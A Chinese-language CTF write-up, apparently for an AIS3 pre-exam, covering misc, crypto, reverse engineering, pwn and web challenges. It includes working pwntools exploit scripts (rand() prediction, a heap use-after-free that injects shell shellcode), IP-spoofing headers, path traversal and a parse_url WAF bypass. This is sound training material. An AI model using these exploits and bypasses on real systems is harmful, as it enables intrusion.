MISC
1pt
直接給 flag
2pt
用 xxd 看可以看到 header 有 7Z
修正成 7z 後用 7z l UNPACK_ME
可以確定是 7z file with password, 包非常多層的 7z compressed file
看到有個 size 0 檔名亂數的檔案 當作密碼可以解開第一層 7z
之後每一層都有 secret.txt 裡面有下一層的密碼
寫個 script 跑 總共有 1000 層
3pt
讓你打包一個 guess.txt 檔案上傳 server 用 sha1 檢查 hash 跟 flag 是否一樣
傳一個 symbol link link 到 flag 身上即可
CRYPTO
1pt
xor 加密找加密 key
觀念是嘗試不同的 key 長度 一個一個 byte 去解密 讓他整個檔案出來是 printable
有線上工具
2pt
這種讓你提供輸入但是要附上輸入的 hash 有種攻擊叫 length-extension attack
有類似題目的 script
後面 append 合法的 expire 即可
3pt
好像叫做 Batch GCD Attack
就是 rsa 的 n 共用到同一個植樹的話用 GCD 可以很容易質因數分解出 n
但這題目裡有很多組 n 可以被分解 所以都要試試看
另外是這一題的 exponent 不適常用的 65537 這一點我很後面才發現
以後要先讀清楚 key 資訊
openssl rsa -noout -text -inform PEM -in pub/1.pub -pubin
Exponent: 179424787 (0xab1ce13)
BINARY
1pt
直接上 angr
import angr, code | |
b = angr.Project('./rev') | |
s = b.factory.blank_state(addr=0x004006B3) | |
find = 0x0400666 | |
s.regs.rdi = 0x000060106D | |
arr = [] | |
for i in range(29): | |
inp = s.se.BVS('input', 8) | |
s.add_constraints(inp != 0) | |
arr.append(inp) | |
nulend = s.se.BVS('f',8) | |
s.add_constraints(nulend == 0) # null end | |
ful = s.se.Concat(*(arr+[nulend])) | |
s.memory.store(0x000060106D, ful) | |
path_group = b.factory.path_group(s) | |
ex = path_group.explore(find=0x0004006BC, avoid=(0x0040063C, 0x004006C8)) | |
print ex | |
print ex.found[0].state.se.any_str(ful) | |
code.interact(local=locals()) | |
2pt
這一題轉成 binary file 後用工具看 開頭挺誤導的 還以為是要轉換順序之類的
後來隨便 google 一下裡面的 bytes 查到 asm opcode 立馬開 ida 把 binary file 解成 asm code
發現是 xor 解密的 asm 手動就能解開了
3pt
一樣上 angr (稍微會用 angr 之後都不用動腦了呢)
REMOTE (pwn)
1pt
用 time(0) 去 srand ,只要和 server 時間差不超過一秒的得到的 rand() 序列會相同
from ctypes import * | |
from pwn import * | |
r = remote('quiz.ais3.org', 2154) | |
libc = CDLL("libc.so.6") | |
t=libc.time(0) | |
libc.srand(t) | |
rnd = libc.rand() | |
r.recvuntil('code:') | |
r.sendline(str(rnd^0x2016A153)) | |
r.interactive() | |
2pt
常見的 scanf 錯誤,參數直接傳入變數而非變數地址
由於 stack 中的殘渣內容會在前面的動作決定,所以可以控制變數內容,直接對GOT地址寫入噴FLAG的地址
推薦使用 qira 可以很快找到 stack 內容變化跟偏移
‘
3pt
不用碰到 libc 的 heap 題,用 checksec 檢查會發現沒有開 NX , 估計是能用 shellcode ,玩一下程式,功能大致如下
- 一開始有讀入 .bss buffer 可以塞東西
- student struct 內有 function pointer
- note malloc size 可控
- note point 存在 array 中,能 free pointer
一開始的 buffer 是在 bss 上面地址已知,可放入 shellcode ,之後跳 bss 地址即可。
接著找找看 bug, 發現在 free note 之後並沒有將 note array 中 entry 清空,可能導致 UAF, double free 等等問題
因為 student 中有 function pointer, 嘗試將兩個 struct 重疊然後直接寫入 function pointer 到 bss 上面。
這邊倒推想一下:
目標為覆蓋 current_student
上面的 function pointer => 寫入 note 時改寫到 pointer
讓 note struct 疊合 current_student
,首先看一下 note create 是 malloc 出 note buffer 後直接寫入內容 => 必須讓 note malloc 出current_student
的位址(或重疊的地址)
為了讓 malloc 出 current_student
的位置,首先 malloc 的 size 要跟 student 一樣,而且 student 那一塊 chunk 要是 free 的
然而並沒有 free student 的功能, 所以先建立並馬上釋放一個 note , size 跟 student 一樣,如此一來 notes array 第一個格子就是 heap 下一次 malloc 同樣 size 會被拿出的 pointer
然後建立 student ,這時 current_student
會跟 notes array 第一格相同,也就是剛剛 free 掉的地址
接著為了要讓 note malloc 再度拿出相同的地址,必須要再 free 一次第一個 note, 因為此時這個 pointer 是被 current_student
使用的
free 完後再 create note with same size 馬上又會拿出和 current_student
相同的 pointer
對此 note 寫入即是覆蓋 student struct
改寫 function pointer 後選 menu 2 Show a student
會 call function pointer 指向的地方
from pwn import * | |
# r = remote('127.0.0.1', 4001) | |
r = remote('quiz.ais3.org', 5071) | |
def add_stu(i, name): | |
r.recvuntil('Your choice :') | |
r.sendline('1') | |
r.recvuntil('ID:') | |
r.sendline(str(i)) | |
r.recvuntil('Name:') | |
r.sendline(name) | |
def add_note(sz, content): | |
r.recvuntil('Your choice :') | |
r.sendline('3') | |
r.recvuntil('Size:') | |
r.sendline(str(sz)) | |
r.recvuntil('Content:') | |
r.sendline(content) | |
def del_note(idx): | |
r.recvuntil('Your choice :') | |
r.sendline('5') | |
r.recvuntil('index:') | |
r.sendline(str(idx)) | |
r.recvuntil('Welcome, please leave some message for me:') | |
r.sendline(asm(shellcraft.sh())) | |
add_note(20, 'a'*20) | |
del_note(0) | |
add_stu(1, 'aa') | |
del_note(0) | |
add_note(20, p32(0x0804A0E0).ljust(19)) | |
r.interactive() | |
WEB
1pt
robots.txt
2pt
header 偽造 src ip
以下都設定為 127.0.0.1
`HTTP_X_FORWARDED_FOR
HTTP_CLIENT_IP
HTTP_X_FORWARDED
HTTP_X_CLUSTER_CLIENT_IP
HTTP_FORWARDED_FOR
HTTP_FORWARDED`
3pt
講一下找 function bug 想法
首先可以下載 php source, p=../download.php 看到裡面有 include waf.php,
waf.php 使用字串解析把 url 的 query 不分拆成 key=>value 然後對黑名單驗證,
由於有用 file_exists
檢查檔案名稱,無法在檔名部分塞東西或編碼,
仔細看一下 waf.php 做的事情跟從 $_GET
取值檢查有87%像,特別自己分析大概就是分析的地方有問題,
比對部分有用 ===
所以不是 PHP 常見的比較問題,接著就開始朝 php function bug 部分 google。
發現用 parse_url bug
google 可以發現各種歷年來的 BUG ,將時間限定一年內可以在前幾筆看到 這一篇
於是用 ?p=../flag.php&a=ss:88888
便可以拿到 flag